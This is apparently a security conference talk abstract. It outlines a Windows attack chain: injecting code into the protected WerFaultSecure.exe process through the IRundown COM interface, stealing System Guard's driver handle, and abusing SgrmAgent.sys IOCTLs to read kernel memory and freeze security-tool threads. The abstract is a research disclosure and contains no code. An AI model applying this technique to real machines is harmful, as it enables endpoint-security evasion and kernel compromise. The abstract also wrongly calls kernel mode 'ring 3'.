The goal of our research was to find undocumented pathways to escalate privileges to the Windows kernel while evading endpoint security solutions. For that end, we found a driver of Microsoft System Guard, which is shipped out of the box, that could be leveraged. Using it from user-space however had limitations. To overcome them, we are forced to run as PPL-WinTCB process, the highest protection level in Windows user-mode. To do that reliably, we showcase a new method to inject code into such a process.
Our novel PPL injection technique leverages the IRundown COM interface to achieve code execution within the process WerFaultSecure.exe, which runs at the highest protection level (WinTCB), and is successfully tested on the latest version of Windows 11. What inspired us to target WerFaultSecure.exe specifically was a vulnerability introduced by James Forshaw in 2018.
The vulnerability allowed for code injection into the WinTCB-signed WerFaultSecure.exe by abusing a code path in FaultRep.dll (a WerFaultSecure.exe dependency) to enable the IRundown COM interface. This code execution primitive has been widely abused to hijack threads through the DoCallback method. Similarly, in 2023 Clement Labro took advantage of an arbitrary pointer overwrite in ntdll.dll to force PPL processes to load unsigned dynamic libraries, thus achieving code execution in the context of protected processes. In response, Microsoft introduced several countermeasures to inhibit these attacks.
During the talk we will showcase how to bypass these mitigations altogether. In particular, we will walk the audience through:
The abuse of an old vulnerable version of WerFaultSecure which has a Dll Sideloading vulnerability, which we exploit to load an old version of FaultRep, which contains the COM vulnerability. We call this technique ‘Bring Your Own Vulnerable WerfaultSecure’;
The abuse of a section object which is shared by WerFaultSecure.exe and its parent process. We will show how to construct a ROP chain on the shared memory which will be executed by the DoCallback method of the IRundown interface. This ROP chain is needed in order to give our shellcode the required execute permissions.
How to retrieve and decrypt the secrets that are needed to remotely connect to the interface from PPL processes that are using this communication method.
How to connect to the target interface and craft a ROP chain in the shared section aforementioned. This will enable us to pivot the execution from the ROP chain to custom shellcode. Last but not least, we will briefly discuss the concept of Control Flow Guard, or CFG, the need for admin privileges to disable it for the exploit to work, as well as ideas to bypass this requirement and new pathways to privilege escalation through PPL injection.
After meeting the prerequisite - executing code at PPL-WinTCB level, we continue to achieve kernel-mode (ring 3) privileges.
Microsoft System Guard is a Windows native infrastructure which validates operating system and device integrity by verifying that certain parts of kernel objects like drivers, devices, processes, threads have not been altered. It achieves this by leveraging an assertion engine running in VTL1 (SgrmEnclave_secure.dll), in combination with a kernel-mode driver - SgrmAgent.sys - which provides it with different facilities. Checks can be performed on the fields IntegrityLevel or TokenSource of the object _TOKEN owned by certain critical processes such as MsMpEng.exe for instance. This driver starts automatically at startup on every Windows 10 (and equivalent Server) release. SgrmAgent.sys enforces the following checks:
The caller must be WinTCB-signed;
The caller service security identifier (SID) must match a SID that is hardcoded within the driver;
The driver can be initialized only once, meaning only one handle can be granted.

SgrmBroker.exe is the only process which is allowed to acquire a handle to the driver by design. This is because it runs as a protected process, and its service SID matches the one the driver expects. Hence we leveraged our novel PPL injection to make WerFaultSecure execute a shellcode which opens the broker process and steals its handle to the driver, thus bypassing the checks altogether. We then use the stolen handle to communicate with the driver.

Our research examined SgrmAgent.sys’s IOCTLs which yielded a treasure trove, subverting System Guard’s defensive purpose. We identified multiple ‘sub-IOCTLs’ within the ‘OctpMailboxDispatcher’ handler which enable the caller to:
read kernel virtual memory and physical memory;
map files and virtual memory of processes;
read model-specific registers.

These routines are used by the assertion engine to implement certain checks as one would expect. What is more surprising is that we also came across the thread-freezing sub-IOCTL - ‘OctpHandleFreezeThread’ - which can halt threads indefinitely by scheduling an ad-hoc kernel Asynchronous Procedure Call. This allows not only to access sensitive processes but even to bypass tampering protections enforced by 3rd party kernel drivers.

We will run a live demo of the entire attack and discuss possible detection opportunities.

While Microsoft does not consider admin-to-kernel a security boundary due to the fact that admin users can load 3rd party drivers, our research demonstrates that it is possible to escalate to the kernel with only Microsoft binaries and without loading a driver.

References:
https://googleprojectzero.blogspot.com/2018/11/injecting-code-into-windows-protected.html
https://x.com/GabrielLandau/status/1683854578767343619
https://blog.scrt.ch/2023/03/17/bypassing-ppl-in-userland-again/
https://iamelli0t.github.io/2021/04/10/RPC-Bypass-CFG.html
https://github.com/Slowerzs/PPLSystem